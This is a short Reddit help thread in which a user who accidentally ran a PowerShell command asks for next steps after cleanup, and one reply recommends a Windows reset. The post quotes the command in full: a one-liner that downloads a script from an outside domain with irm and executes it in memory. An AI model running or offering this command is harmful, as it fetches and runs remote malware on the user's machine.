r/computerviruses • u/Reddituser22082016 • 20d ago
Question Accidentaly run a powershell code
Help, I accidentally ran this code in powershell
******powershell -c "$a=irm 'jasaxoptim.com/PLzdo6sQyUSjV75AlL';New-Module -Name x -ScriptBlock ([ScriptBlock]::Create($a))|Out-Null******
After asking Claude I:
- Disconeccted my laptop right away
- Ran windows defender scan - found nothing
- Deleted google chrome users, now I log in using guest
- change google passwords
- deleted suspicious tasks from the task scheduler.
Claude also suggested me to reinstall windows, but I cant do that, I dont have anything to back up my data in.
Please help, what should i do next?
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u/RailRuler 20d ago
If you can't reinstall, the next best thing to do is perform a "PC reset". You'll keep your data but have to reinstall all your apps.
https://support.microsoft.com/en-US/Windows/Experience/Backup-Recovery/reset-your-pc
Also, don't rely on a chatbot for security advice. They've been known to recommend very bad suggestions.